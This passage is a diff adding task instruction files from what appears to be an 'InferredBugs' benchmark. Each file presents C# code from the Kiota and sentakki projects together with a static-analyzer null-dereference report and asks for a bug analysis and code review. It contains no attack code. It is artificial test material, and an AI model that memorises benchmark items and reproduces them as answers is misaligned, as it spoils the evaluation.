+                ClassKind = CodeClassKind.RequestBuilder,
+            }).First();
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.Ruby }, root);
+            Assert.NotEmpty(model.StartBlock.Usings);
+            Assert.NotEmpty(requestBuilder.StartBlock.Usings);
+        }
+        [Fact]
+        public void ReplacesImportsSubNamespace() {
+            var rootNS = parentClass.Parent as CodeNamespace;
+            rootNS.RemoveChildElement(parentClass);
+            graphNS.AddClass(parentClass);
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            var subNS = graphNS.AddNamespace($"{graphNS.Name}.messages");
+            var messageClassDef = new CodeClass(subNS) {
+                Name = "Message",
+            };
+            declaration.Usings.Add(new (parentClass) {
+                Name = "graph",
+                Declaration = new(parentClass) {
+                    Name = "Message",
+                    TypeDefinition = messageClassDef,
+                }
+            });
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.Ruby }, root);
+            Assert.Equal("./messages/message", declaration.Usings.First().Declaration.Name);
+        }
+        [Fact]
+        public void ReplacesImportsParentNamespace() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            var subNS = root.AddNamespace("messages");
+            var messageClassDef = new CodeClass(subNS) {
+                Name = "Message",
+            };
+            subNS.AddClass(messageClassDef);
+            declaration.Usings.Add(new (parentClass) {
+                Name = "messages",
+                Declaration = new(parentClass) {
+                    Name = "Message",
+                    TypeDefinition = messageClassDef,
+                }
+            });
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.Ruby }, root);
+            Assert.Equal("../messages/message", declaration.Usings.First().Declaration.Name);
+        }
+        [Fact]
+        public void ReplacesImportsSameNamespace() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            var messageClassDef = new CodeClass(graphNS) {
+                Name = "Message",
+            };
+            declaration.Usings.Add(new (parentClass) {
+                Name = "graph",
+                Declaration = new(parentClass) {
+                    Name = "Message",
+                    TypeDefinition = messageClassDef,
+                }
+            });
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.Ruby }, root);
+            Assert.Equal("./message", declaration.Usings.First().Declaration.Name);
+        }
+        #endregion
+        #region RubyLanguageRefinerTests
+        [Fact]
+        public void EscapesReservedKeywords() {
+            var model = root.AddClass(new CodeClass (root) {
+                Name = "break",
+                ClassKind = CodeClassKind.Model
+            }).First();
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.Ruby }, root);
+            Assert.NotEqual("break", model.Name);
+            Assert.Contains("escaped", model.Name);
+        }
+        [Fact]
+        public void AddInheritedAndMethodTypesImports() {
+            var model = root.AddClass(new CodeClass (root) {
+                Name = "model",
+                ClassKind = CodeClassKind.Model
+            }).First();
+            var declaration = model.StartBlock as CodeClass.Declaration;
+            declaration.Inherits = new (parentClass){
+                Name = "someInterface"
+            };
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.Ruby }, root);
+            Assert.Equal("./someInterface", declaration.Usings.First().Declaration.Name);
+        }
+        [Fact]
+        public void FixInheritedEntityType() {
+            var model = root.AddClass(new CodeClass (root) {
+                Name = "model",
+                ClassKind = CodeClassKind.Model
+            }).First();
+            var entity = graphNS.AddClass(new CodeClass (root) {
+                Name = "entity",
+                ClassKind = CodeClassKind.Model
+            }).First();
+            var declaration = model.StartBlock as CodeClass.Declaration;
+            declaration.Inherits = new (entity){
+                Name = "entity"
+            };
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.Ruby }, root);
+            Assert.Equal("Graph::Entity", declaration.Inherits.Name);
+        }
+        [Fact]
+        public void AddNamespaceModuleImports() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            var subNS = graphNS.AddNamespace("messages");
+            var messageClassDef = new CodeClass(subNS) {
+                Name = "Message",
+            };
+            subNS.AddClass(messageClassDef);
+            declaration.Usings.Add(new (parentClass) {
+                Name = "messages",
+                Declaration = new(parentClass) {
+                    Name = "Message",
+                    TypeDefinition = messageClassDef,
+                }
+            });
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.Ruby }, root);
+            Assert.Equal("../messages/message", declaration.Usings.First().Declaration.Name);
+            Assert.Equal("./graph", declaration.Usings.Last().Declaration.Name);
+        }
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `declaration` last assigned on line 38 could be null and is dereferenced at line 43, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void RubyLanguageRefinerTests.ReplacesImportsSubNamespace()
+
+### File:
+tests/Kiota.Builder.Tests/Refiners/RubyLanguageRefinerTests.cs
+
+### Key:
+RubyLanguageRefinerTests.cs|ReplacesImportsSubNamespace|NULL_DEREFERENCE
+
+### Node Key:
+ef91c4941a914fb0bf4a21cb3664ec51
+
+### Hash:
+5a69b29aff4eade5c735a2550a474e91
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0303/instruction.md b/inferredbugs-0303/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c37a56885eeb6e3916207fc488832246cb723393
--- /dev/null
+++ b/inferredbugs-0303/instruction.md
@@ -0,0 +1,238 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** kiota
+**Bug ID:** 7
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq;
+using Xunit;
+
+namespace Kiota.Builder.Refiners.Tests {
+    public class TypeScriptLanguageRefinerTests {
+        private readonly CodeNamespace root;
+        private readonly CodeNamespace graphNS;
+        private readonly CodeClass parentClass;
+        public TypeScriptLanguageRefinerTests() {
+            root = CodeNamespace.InitRootNamespace();
+            graphNS = root.AddNamespace("graph");
+            parentClass = new (graphNS) {
+                Name = "parentClass"
+            };
+            graphNS.AddClass(parentClass);
+        }
+#region common
+        [Fact]
+        public void ReplacesImportsSubNamespace() {
+            var rootNS = parentClass.Parent as CodeNamespace;
+            rootNS.RemoveChildElement(parentClass);
+            graphNS.AddClass(parentClass);
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            var subNS = graphNS.AddNamespace($"{graphNS.Name}.messages");
+            var messageClassDef = new CodeClass(subNS) {
+                Name = "Message",
+            };
+            declaration.Usings.Add(new (parentClass) {
+                Name = "graph",
+                Declaration = new(parentClass) {
+                    Name = "Message",
+                    TypeDefinition = messageClassDef,
+                }
+            });
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.TypeScript }, root);
+            Assert.Equal("./messages/message", declaration.Usings.First().Declaration.Name);
+        }
+        [Fact]
+        public void ReplacesImportsParentNamespace() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            var subNS = root.AddNamespace("messages");
+            var messageClassDef = new CodeClass(subNS) {
+                Name = "Message",
+            };
+            subNS.AddClass(messageClassDef);
+            declaration.Usings.Add(new (parentClass) {
+                Name = "messages",
+                Declaration = new(parentClass) {
+                    Name = "Message",
+                    TypeDefinition = messageClassDef,
+                }
+            });
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.TypeScript }, root);
+            Assert.Equal("../messages/message", declaration.Usings.First().Declaration.Name);
+        }
+        [Fact]
+        public void ReplacesImportsSameNamespace() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            var messageClassDef = new CodeClass(graphNS) {
+                Name = "Message",
+            };
+            declaration.Usings.Add(new (parentClass) {
+                Name = "graph",
+                Declaration = new(parentClass) {
+                    Name = "Message",
+                    TypeDefinition = messageClassDef,
+                }
+            });
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.TypeScript }, root);
+            Assert.Equal("./message", declaration.Usings.First().Declaration.Name);
+        }
+#endregion
+#region typescript
+        private const string HttpCoreDefaultName = "IHttpCore";
+        private const string FactoryDefaultName = "ISerializationWriterFactory";
+        private const string DeserializeDefaultName = "IDictionary<string, Action<Model, IParseNode>>";
+        private const string DateTimeOffsetDefaultName = "DateTimeOffset";
+        private const string AddiationalDataDefaultName = "new Dictionary<string, object>()";
+        private const string HandlerDefaultName = "IResponseHandler";
+        [Fact]
+        public void EscapesReservedKeywords() {
+            var model = root.AddClass(new CodeClass (root) {
+                Name = "break",
+                ClassKind = CodeClassKind.Model
+            }).First();
+            ILanguageRefiner.Refine(new GenerationConfiguration { Language = GenerationLanguage.TypeScript }, root);
+            Assert.NotEqual("break", model.Name);
+            Assert.Contains("escaped", model.Name);
+        }
+        [Fact]
+        public void CorrectsCoreType() {
+
+            var model = root.AddClass(new CodeClass (root) {
+                Name = "model",
+                ClassKind = CodeClassKind.Model
+            }).First();
+            model.AddProperty(new (model) {
+                Name = "core",
+                PropertyKind = CodePropertyKind.HttpCore,
+                Type = new CodeType(model) {
+                    Name = HttpCoreDefaultName
+                }
+            }, new (model) {
+                Name = "someDate",
+                PropertyKind = CodePropertyKind.Custom,
+                Type = new CodeType(model) {
+                    Name = DateTimeOffsetDefaultName,
+                }
+            }, new (model) {
+                Name = "additionalData",
+                PropertyKind = CodePropertyKind.AdditionalData,
+                Type = new CodeType(model) {
+                    Name = AddiationalDataDefaultName
+                }
+            });
+            var executorMethod = model.AddMethod(new CodeMethod(model) {
+                Name = "executor",
+                MethodKind = CodeMethodKind.RequestExecutor,
+                ReturnType = new CodeType(model) {
+                    Name = "string"
+                }
+            }).First();
+            executorMethod.AddParameter(new CodeParameter(executorMethod) {
+                Name = "handler",
+                ParameterKind = CodeParameterKind.ResponseHandler,
+                Type = new CodeType(executorMethod) {
+                    Name = HandlerDefaultName,
+                }
+            });
+            const string serializerDefaultName = "ISerializationWriter";
+            var serializationMethod = model.AddMethod(new CodeMethod(model) {
+                Name = "seriailization",
+                MethodKind = CodeMethodKind.Serializer,
+                ReturnType = new CodeType(model) {
+                    Name = "string"
+                }
+            }).First();
+            serializationMethod.AddParameter(new CodeParameter(serializationMethod) {
+                Name = "handler",
+                ParameterKind = CodeParameterKind.Serializer,
+                Type = new CodeType(executorMethod) {
+                    Name = serializerDefaultName,
+                }
+            });
+            var responseHandlerMethod = model.AddMethod(new CodeMethod(model) {
+                Name = "defaultResponseHandler",
+                ReturnType = new CodeType(model) {
+                    Name = "string"
+                }
+            }, new (model) {
+                Name = "deserializeFields",
+                ReturnType = new CodeType(model) {
+                    Name = DeserializeDefaultName,
+                },
+                MethodKind = CodeMethodKind.Deserializer
+            }).First();
+            const string streamDefaultName = "Stream";
+            responseHandlerMethod.AddParameter(new CodeParameter(responseHandlerMethod) {
+                Name = "param1",
+                Type = new CodeType(responseHandlerMethod) {
+                    Name = streamDefaultName
+                }
+            });
+            ILanguageRefiner.Refine(new GenerationConfiguration{ Language = GenerationLanguage.TypeScript }, root);
+            Assert.Empty(model.GetChildElements(true).OfType<CodeProperty>().Where(x => HttpCoreDefaultName.Equals(x.Type.Name)));
+            Assert.Empty(model.GetChildElements(true).OfType<CodeProperty>().Where(x => FactoryDefaultName.Equals(x.Type.Name)));
+            Assert.Empty(model.GetChildElements(true).OfType<CodeProperty>().Where(x => DateTimeOffsetDefaultName.Equals(x.Type.Name)));
+            Assert.Empty(model.GetChildElements(true).OfType<CodeProperty>().Where(x => AddiationalDataDefaultName.Equals(x.Type.Name)));
+            Assert.Empty(model.GetChildElements(true).OfType<CodeMethod>().Where(x => DeserializeDefaultName.Equals(x.ReturnType.Name)));
+            Assert.Empty(model.GetChildElements(true).OfType<CodeMethod>().SelectMany(x => x.Parameters).Where(x => HandlerDefaultName.Equals(x.Type.Name)));
+            Assert.Empty(model.GetChildElements(true).OfType<CodeMethod>().SelectMany(x => x.Parameters).Where(x => serializerDefaultName.Equals(x.Type.Name)));
+            Assert.Empty(model.GetChildElements(true).OfType<CodeMethod>().SelectMany(x => x.Parameters).Where(x => streamDefaultName.Equals(x.Type.Name)));
+        }
+    }
+#endregion
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `declaration` last assigned on line 23 could be null and is dereferenced at line 28, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TypeScriptLanguageRefinerTests.ReplacesImportsSubNamespace()
+
+### File:
+tests/Kiota.Builder.Tests/Refiners/TypeScriptLanguageRefinerTests.cs
+
+### Key:
+TypeScriptLanguageRefinerTests.cs|ReplacesImportsSubNamespace|NULL_DEREFERENCE
+
+### Node Key:
+ef91c4941a914fb0bf4a21cb3664ec51
+
+### Hash:
+c388e163c631c1b3af917b6048067d2c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0304/instruction.md b/inferredbugs-0304/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..15e95972d44a90b8862ecfb8ab5cea8324e100be
--- /dev/null
+++ b/inferredbugs-0304/instruction.md
@@ -0,0 +1,134 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** kiota
+**Bug ID:** 29
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using Xunit;
+
+namespace Kiota.Builder.Writers.Go.Tests {
+    public class CodeClassDeclarationWriterTests : IDisposable
+    {
+        private const string DefaultPath = "./";
+        private const string DefaultName = "name";
+        private readonly StringWriter tw;
+        private readonly LanguageWriter writer;
+        private readonly CodeClassDeclarationWriter codeElementWriter;
+        private readonly CodeClass parentClass;
+        private readonly CodeNamespace root;
+
+        public CodeClassDeclarationWriterTests() {
+            codeElementWriter = new CodeClassDeclarationWriter(new GoConventionService());
+            writer = LanguageWriter.GetLanguageWriter(GenerationLanguage.Go, DefaultPath, DefaultName);
+            tw = new StringWriter();
+            writer.SetTextWriter(tw);
+            root = CodeNamespace.InitRootNamespace();
+            parentClass = new () {
+                Name = "parentClass"
+            };
+            root.AddClass(parentClass);
+        }
+        public void Dispose() {
+            tw?.Dispose();
+            GC.SuppressFinalize(this);
+        }
+        [Fact]
+        public void WritesSimpleDeclaration() {
+            codeElementWriter.WriteCodeElement(parentClass.StartBlock as CodeClass.Declaration, writer);
+            var result = tw.ToString();
+            Assert.Contains("type", result);
+            Assert.Contains("struct", result);
+            Assert.Contains("package", result);
+        }
+        [Fact]
+        public void WritesInheritance() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            declaration.Inherits = new (){
+                Name = "someParent"
+            };
+            codeElementWriter.WriteCodeElement(declaration, writer);
+            var result = tw.ToString();
+            Assert.Contains("SomeParent", result);
+        }
+        [Fact]
+        public void WritesImports() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            declaration.AddUsings(new () {
+                Name = "Objects",
+                Declaration = new() {
+                    Name = "Go.util",
+                    IsExternal = true,
+                }
+            },
+            new () {
+                Name = "project.graph",
+                Declaration = new() {
+                    Name = "Message",
+                }
+            });
+            codeElementWriter.WriteCodeElement(declaration, writer);
+            var result = tw.ToString();
+            Assert.Contains("import (", result);
+            Assert.Contains("ib040b76fd8c2f056725723d35361c053f34e28d2ff1828ce830f3e00e807a59b \"project/graph\"", result);
+            Assert.Contains("i5bda920e7ace9d5445a4ab998b248741f78d1219c76fbec57ddf13651f485ee4 \"Go.util\"", result);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `declaration` last assigned on line 41 could be null and is dereferenced at line 42, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void CodeClassDeclarationWriterTests.WritesInheritance()
+
+### File:
+tests/Kiota.Builder.Tests/Writers/Go/CodeClassDeclarationWriterTests.cs
+
+### Key:
+CodeClassDeclarationWriterTests.cs|WritesInheritance|NULL_DEREFERENCE
+
+### Node Key:
+7048a1dafced0623f612932e96eeeeb0
+
+### Hash:
+d4828fa53f2f4ab6d7f637132377396c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0305/instruction.md b/inferredbugs-0305/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bb97f4bfa422a70416047b0f40f57121101695f6
--- /dev/null
+++ b/inferredbugs-0305/instruction.md
@@ -0,0 +1,136 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** kiota
+**Bug ID:** 16
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using Xunit;
+
+namespace Kiota.Builder.Writers.TypeScript.Tests {
+    public class CodeClassDeclarationWriterTests : IDisposable
+    {
+        private const string DefaultPath = "./";
+        private const string DefaultName = "name";
+        private readonly StringWriter tw;
+        private readonly LanguageWriter writer;
+        private readonly CodeClassDeclarationWriter codeElementWriter;
+        private readonly CodeClass parentClass;
+
+        public CodeClassDeclarationWriterTests() {
+            writer = LanguageWriter.GetLanguageWriter(GenerationLanguage.TypeScript, DefaultPath, DefaultName);
+            codeElementWriter = new CodeClassDeclarationWriter(new TypeScriptConventionService(writer), "graphtests");
+            tw = new StringWriter();
+            writer.SetTextWriter(tw);
+            var root = CodeNamespace.InitRootNamespace();
+            var ns = root.AddNamespace("graphtests.models");
+            parentClass = new () {
+                Name = "parentClass"
+            };
+            ns.AddClass(parentClass);
+        }
+        public void Dispose() {
+            tw?.Dispose();
+            GC.SuppressFinalize(this);
+        }
+        [Fact]
+        public void WritesSimpleDeclaration() {
+            codeElementWriter.WriteCodeElement(parentClass.StartBlock as CodeClass.Declaration, writer);
+            var result = tw.ToString();
+            Assert.Contains("export class", result);
+        }
+        [Fact]
+        public void WritesImplementation() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            declaration.AddImplements(new CodeType {
+                Name = "someInterface"
+            });
+            codeElementWriter.WriteCodeElement(declaration, writer);
+            var result = tw.ToString();
+            Assert.Contains("implements", result);
+        }
+        [Fact]
+        public void WritesInheritance() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            declaration.Inherits = new () {
+                Name = "someInterface"
+            };
+            codeElementWriter.WriteCodeElement(declaration, writer);
+            var result = tw.ToString();
+            Assert.Contains("extends", result);
+        }
+        [Fact]
+        public void WritesImports() {
+            var declaration = parentClass.StartBlock as CodeClass.Declaration;
+            declaration.AddUsings(new CodeUsing {
+                Name = "Objects",
+                Declaration = new () {
+                    Name = "util",
+                    IsExternal = true,
+                }
+            });
+            codeElementWriter.WriteCodeElement(declaration, writer);
+            var result = tw.ToString();
+            Assert.Contains("import", result);
+            Assert.Contains("from", result);
+            Assert.Contains("'util'", result);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `declaration` last assigned on line 39 could be null and is dereferenced at line 40, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void CodeClassDeclarationWriterTests.WritesImplementation()
+
+### File:
+tests/Kiota.Builder.Tests/Writers/TypeScript/CodeClassDeclarationWriterTests.cs
+
+### Key:
+CodeClassDeclarationWriterTests.cs|WritesImplementation|NULL_DEREFERENCE
+
+### Node Key:
+9ff6f66912dc2a3a36e0c52dc18cdd65
+
+### Hash:
+20b53f0b500a6194dfb0213cd135f282
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0332/instruction.md b/inferredbugs-0332/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a8e86ffe3c1ab7adaa9a4e49ca05fa978e001d18
--- /dev/null
+++ b/inferredbugs-0332/instruction.md
@@ -0,0 +1,321 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** sentakki
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Buffers;
+using System.Collections.Generic;
+using System.Linq;
+using osu.Framework.Allocation;
+using osu.Framework.Bindables;
+using osu.Framework.Graphics;
+using osu.Framework.Graphics.Containers;
+using osu.Framework.Graphics.Pooling;
+using osu.Framework.Graphics.Sprites;
+using osu.Framework.Graphics.Textures;
+using osu.Game.Rulesets.Objects;
+using osu.Game.Rulesets.Objects.Types;
+using osu.Game.Rulesets.Sentakki.Configuration;
+
+namespace osu.Game.Rulesets.Sentakki.Objects.Drawables.Pieces
+{
+    public class SlideVisual : CompositeDrawable
+    {
+        // This will be proxied, so a must.
+        public override bool RemoveWhenNotAlive => false;
+
+        private int completedSegments;
+        public int CompletedSegments
+        {
+            get => completedSegments;
+            set
+            {
+                completedSegments = value;
+                updateProgress(completedSegments);
+            }
+        }
+        private SliderPath path;
+
+        public SliderPath Path
+        {
+            get => path;
+            set
+            {
+                if (path == value)
+                    return;
+                path = value;
+                updateVisuals();
+                updateProgress(CompletedSegments);
+            }
+        }
+
+        private Container<SlideSegment> segments;
+        private DrawablePool<SlideSegment> segmentPool;
+        private DrawablePool<SlideChevron> chevronPool;
+
+        private readonly BindableBool snakingIn = new BindableBool(true);
+
+        public int SegmentCount => segments.Count;
+
+        public SlideVisual()
+        {
+            Anchor = Anchor.Centre;
+            Origin = Anchor.Centre;
+        }
+
+        [BackgroundDependencyLoader(true)]
+        private void load(SentakkiRulesetConfigManager sentakkiConfig)
+        {
+            sentakkiConfig?.BindWith(SentakkiRulesetSettings.SnakingSlideBody, snakingIn);
+
+            AddRangeInternal(new Drawable[]{
+                segmentPool = new DrawablePool<SlideSegment>(20),
+                chevronPool = new DrawablePool<SlideChevron>(61),
+                segments = new Container<SlideSegment>(),
+            });
+        }
+
+        private const int chevrons_per_eith = 8;
+        private const double ring_radius = 297;
+        private const double chevrons_per_distance = (chevrons_per_eith * 8) / (2 * Math.PI * ring_radius);
+        private const double distance_per_chevron = 1 / chevrons_per_distance;
+        private const double endpoint_distance = /*r*/34;
+
+        public static int ChevronsInPath(SliderPath path)
+        {
+            var (array, count) = splitIntoContinuousPaths(path);
+            var chevrons = array.Take(count).Sum(p => chevronsInContinuousPath(p));
+            ArrayPool<SliderPath>.Shared.Return(array);
+            return chevrons;
+        }
+
+        /// <returns>A rented array which needs to be returned to <see cref="ArrayPool&lt;SliderPath&gt;.Shared"/></returns>
+        private static (SliderPath[] array, int count) splitIntoContinuousPaths(SliderPath path)
+        {
+            // first node will not split
+            var count = path.ControlPoints.Skip(1).Count(c => c.Type.Value == PathType.Linear) + 1;
+            var paths = ArrayPool<SliderPath>.Shared.Rent(count);
+            int pathIndex = 0;
+            for (int i = 0; i < count; i++) if(paths[i] is null) paths[i] = new SliderPath();
+            paths[0].ControlPoints.Clear();
+            paths[0].ControlPoints.Add(path.ControlPoints[0]);
+            for (int i = 1; i < path.ControlPoints.Count; i++)
+            {
+                var controlPoint = path.ControlPoints[i];
+                paths[pathIndex].ControlPoints.Add(controlPoint);
+                if (controlPoint.Type.Value == PathType.Linear)
+                {
+                    // TODO test the angle here as continuous -> linear can still be smooth
+                    pathIndex++;
+                    paths[pathIndex].ControlPoints.Clear();
+                    paths[pathIndex].ControlPoints.Add(controlPoint);
+                }
+            }
+            return (paths, count);
+        }
+
+        private static int chevronsInContinuousPath(SliderPath path)
+        {
+            return (int)Math.Ceiling((path.Distance - (2 * endpoint_distance)) * chevrons_per_distance);
+        }
+
+        private void updateVisuals()
+        {
+            foreach (var segment in segments)
+                segment.ClearChevrons();
+            segments.Clear(false);
+
+            var reverseSegments = new List<SlideSegment>();
+            void visualizePath(SliderPath path)
+            {
+                var chevronCount = chevronsInContinuousPath(path);
+                var totalDistance = path.Distance;
+                var safeDistance = totalDistance - (endpoint_distance * 2);
+                var distancePerChevron = safeDistance / chevronCount;
+
+                SlideSegment currentSegment = segmentPool.Get();
+                reverseSegments.Add(currentSegment);
+
+                float lastAngle = path.PositionAt(0).GetDegreesFromPosition(path.PositionAt(0.1 / totalDistance));
+                var previousPosition = path.PositionAt(0);
+                for (int i = 0; i < chevronCount; i++)
+                {
+                    var progress = (double)i / ( chevronCount - 1 ); // from 0 to 1, both inclusive
+
+                    var position = path.PositionAt(((progress * safeDistance) + endpoint_distance) / totalDistance);
+                    var angle = previousPosition.GetDegreesFromPosition(position);
+
+                    currentSegment.Add(chevronPool.Get().With(c => {
+                        c.Position = position;
+                        c.Rotation = angle;
+                        c.ShouldHide = false;
+                        c.Alpha = 1;
+                        c.Depth = i; // earlier ones should remain on top
+                    }));
+
+                    // add next segment if not last ( last segment has up to 5 chevrons while all other 3 )
+                    if ( i % 3 == 2 && chevronCount - 3 > i )
+                    {
+                        currentSegment = segmentPool.Get();
+                        reverseSegments.Add(currentSegment);
+                    }
+
+                    lastAngle = angle;
+                    previousPosition = position;
+                }
+            }
+
+            var (paths, count) = splitIntoContinuousPaths(path);
+            for (int i = 0; i < count; i++) visualizePath(paths[i]);
+            ArrayPool<SliderPath>.Shared.Return(paths);
+
+            segments.AddRange( reverseSegments.Reverse<SlideSegment>() );
+        }
+
+        private void updateProgress(int completedNodes)
+        {
+            for (int i = 1; i <= segments.Count; ++i)
+            {
+                segments[^i].Alpha = i <= completedNodes ? 0 : 1;
+            }
+        }
+
+        public void PerformEntryAnimation(double duration)
+        {
+            if (snakingIn.Value)
+            {
+                int chevrons = (int)Math.Ceiling(Path.Distance / distance_per_chevron);
+                double fadeDuration = duration / chevrons;
+                double currentOffset = duration / 2;
+                for (int i = segments.Count - 1; i >= 0; i--)
+                {
+                    var segment = segments[i];
+                    for (int j = segment.Children.Count - 1; j >= 0; j--)
+                    {
+                        var chevron = segment.Children[j] as SlideChevron;
+                        if (!chevron.ShouldHide)
+                            chevron.FadeOut().Delay(currentOffset).FadeInFromZero(fadeDuration * 2);
+                        currentOffset += fadeDuration / 2;
+                    }
+                }
+            }
+            else
+            {
+                this.FadeOut().Delay(duration / 2).FadeIn(duration / 2);
+            }
+        }
+
+        public void PerformExitAnimation(double duration)
+        {
+            int chevronsLeft = (int)Math.Ceiling(Path.Distance / distance_per_chevron);
+            double fadeDuration() => duration / chevronsLeft;
+            double currentOffset = 0;
+            for (int i = segments.Count - 1; i >= 0; i--)
+            {
+                var segment = segments[i];
+                if (segment.Alpha == 0)
+                {
+                    chevronsLeft -= segment.ChevronCount;
+                    continue;
+                }
+
+                for (int j = segment.Children.Count - 1; j >= 0; j--)
+                {
+                    var chevron = segment.Children[j] as SlideChevron;
+                    if (!chevron.ShouldHide)
+                        chevron.Delay(currentOffset).FadeOut(fadeDuration() * 2);
+                    currentOffset += fadeDuration() / 2;
+                }
+            }
+        }
+
+        private class SlideSegment : PoolableDrawable
+        {
+            public void ClearChevrons() => ClearInternal(false);
+            public void Add(Drawable drawable) => AddInternal(drawable);
+            public int ChevronCount => InternalChildren.Count;
+
+            public IReadOnlyList<Drawable> Children => InternalChildren;
+        }
+
+        private class SlideChevron : PoolableDrawable
+        {
+            public bool ShouldHide;
+
+            public SlideChevron()
+            {
+                Anchor = Anchor.Centre;
+                Origin = Anchor.Centre;
+            }
+
+            [BackgroundDependencyLoader]
+            private void load(TextureStore textures)
+            {
+                AddInternal(new Sprite
+                {
+                    Anchor = Anchor.Centre,
+                    Origin = Anchor.Centre,
+                    Texture = textures.Get("slide"),
+                });
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `chevron` last assigned on line 191 could be null and is dereferenced at line 192, column 25.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void SlideVisual.PerformEntryAnimation(Double)
+
+### File:
